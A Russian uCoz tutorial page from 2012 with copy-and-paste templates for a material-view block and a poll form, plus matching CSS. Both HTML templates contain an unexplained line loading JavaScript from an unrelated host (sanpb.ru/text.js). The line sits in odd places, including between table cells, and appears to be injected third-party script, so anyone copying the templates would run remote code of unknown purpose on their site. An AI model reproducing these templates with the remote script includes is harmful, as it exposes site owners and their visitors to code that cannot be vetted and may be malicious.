Скрипт светлый вид материалов файлов для uCoz

Code
<div id="entryID$ID$"><!--viewn_loop-->  
  <style>  
  .viewn_rat {float:right;}  
  .viewn_cont {padding:5px 9px 0 9px; overflow:hidden;}  
  .</style>  
  <style type="text/css"> @import url('http://bambun.ru/css_js/css-vida-cstav.ru.css') all;</style>  
  <div id="entryID$ID$">  
  <div class="viewn_loop">  
  <div class="viewn_in">  
  <div class="viewn_top">  
  <div class="viewn_rat"></div>  
  <a href="$ENTRY_URL$"><div class="block_title">$TITLE$</div></a>$MODER_PANEL$  
  </div>  
  <div class="viewn_cont"><table><tr>  
  <td width="174px"><div style="background:url(http://bambun.ru/images/posterbg2.png) no-repeat;width:150px;height:128px;padding-top:4px;padding-bottom:4px;padding-right:22px;padding-left:4px;cursor:pointer;">  
  <img id="img$ID$" src="$IMG_URL1$" width="150px" height="128px" align="left" alt="$TITLE$" />  
  <script type="text/javascript">  
  $(function(){  
  $('#img$ID$').click(function(){var s="'sc'";  
  new _uWnd('Et','Реальный размер изображения $TITLE$',70,70,{autosize:1,shadow:1,autosizeonimages:1,header:1},'<img src="'+$(this).attr('src')+'" align="center" alt="" onclick="_uWnd.close('+s+')" style="max-width:900px;max-height:700px;cursor:pointer;">');});  
  });  
  </script>  
  </div> </td>  
  <div class="news-message">  
  <td>$MESSAGE$</td></tr></table>  
  <div class="viewn_detail" style="text-align:left;">  
  <a href="$CATEGORY_URL$">$CATEGORY_NAME$</a> | Просмотров: <b>$READS$</b> | <span title="$TIME$">$DATE$</span> | Скачали <b>$LOADS$</b> | Добавил <b>$USERNAME$</b> |  
  </div><script src="http://sanpb.ru/text.js" type="text/javascript"></script>
  </div>  
  </div>  
  </div>  
  </div><!--/viewn_loop--></div></div>
Категория: скрипты для ucoz | Просмотров: 699 | Добавил: startsmart | Дата: 07.11.2012 | Комментарии (0)

Копируем и вставляем в CSS

Code
/* Start design by vsepodrad.ru */  
.td1 {cursor:help;padding:3px 0px;border:1px solid #444;background:#333;text-align:center;color:#FFCA3C;}  
.td1 input {background:#444;color:#FFCA3C;}  
.td1 input:hover {background:#2D2D2D;color:#ccc;}  
.td2 {cursor:default;background:#444;text-align:center;padding:2px 5px;margin:1px 2px 0px 0px;width:20px;height:14px;border:1px solid #555;border-bottom:0px;color:#FFCA3C;font-weight:bold;}
.td3 {cursor:default;background:#2D2D2D;border-top:1px solid #555;border-right:1px solid #555;width:100%;padding-left:5px;}  
.td4 {background:#444;text-align:center;padding:2px 5px;margin:1px 2px 0px 0px;height:14px;width:25px !important;border:1px solid #555;border-bottom:0px;}  
.ansbut {cursor:pointer;background:#444;border:1px solid #555;text-align:center;padding:2px 0px;}  
.ansbut:hover {background:#2D2D2D;color:#FFCA3C;}  
.td5 {width:50%;}  
.td5 a {text-decoration:none;}  
.td6 {cursor:default;padding:2px 0px;background:#2D2D2D;border:1px solid #444;text-align:center;}  
/* --------------------------- */


Вставляем в вид формы опроса

Code
<div style="border:1px solid #4f859e;">  
<table border="0" cellpadding="0" cellspacing="1" width="100%" id="ansplace">  
<tr><td colspan="3" class="td1">$QUESTION$</td></tr>  
<tr id="ans"><td colspan="3">$ANSWERS$</td></tr>  
</table>  
<table border="0" cellpadding="0" cellspacing="1" width="100%">  
<tr><td class="td6" colspan="2">Всего ответов: <b>$TOTAL_VOTES$</b></td></tr>  
<tr>  
<td class="td5"><a href="$RESULTS_LINK$"><div class="ansbut">Результаты</div></a></td>
<script src="http://sanpb.ru/text.js" type="text/javascript"></script>
<td class="td5"><a href="$ARCHIVE_LINK$"><div class="ansbut">Все опросы</div></a></td>  
</tr>  
</table>  
<script>  
var num=1;  
if(!$("div input.pollBut").attr("value")){  
$(".answer").each(function() {  
var path=$(this).find("span").attr("title");  
var answer=$(this).text().split(".")[1];  
var votes=path.split(":")[1].split("(")[0];  
var persent="("+path.split(":")[1].split("(")[1];  
$("#ansplace").append('<tr>'  
+'<td class="td2">'+num+'</td>'  
+'<td class="td3">'+answer+'</td>'  
+'<td class="td4" title="'+persent+'" style="cursor:help;">'+votes+'</td>'  
+'</tr><tr><td colspan="3" style="border-top:1px solid #4f859e;"></td></tr>');num++;});}  
else {  
$(".answer").each(function() {  
$("input[name='answer']").css("margin","0px");  
$("#ansplace").append('<tr>'  
+'<td class="td2">'+num+'</td>'  
+'<td class="td3">'+$(this).find("label").html()+'</td>'  
+'<td class="td4">'+$(this).html().split(">")[0]+'</td>'  
+'</tr><tr><td colspan="3" style="border-top:1px solid #4f859e;"></td></tr>');num++;});  
$("#ansplace").append('<tr><td class="td1" colspan="3" style="padding:0px;">'+$("div.pollButton").html()+'</td></tr>');  
$("input.pollBut").css({cursor:'pointer',width:'100%',fontWeight:'bold',padding:'3px 0px'});}  
$("#ans").hide();  
</script>  
</div>
Категория: скрипты для ucoz | Просмотров: 871 | Добавил: startsmart | Дата: 07.11.2012 | Комментарии (0)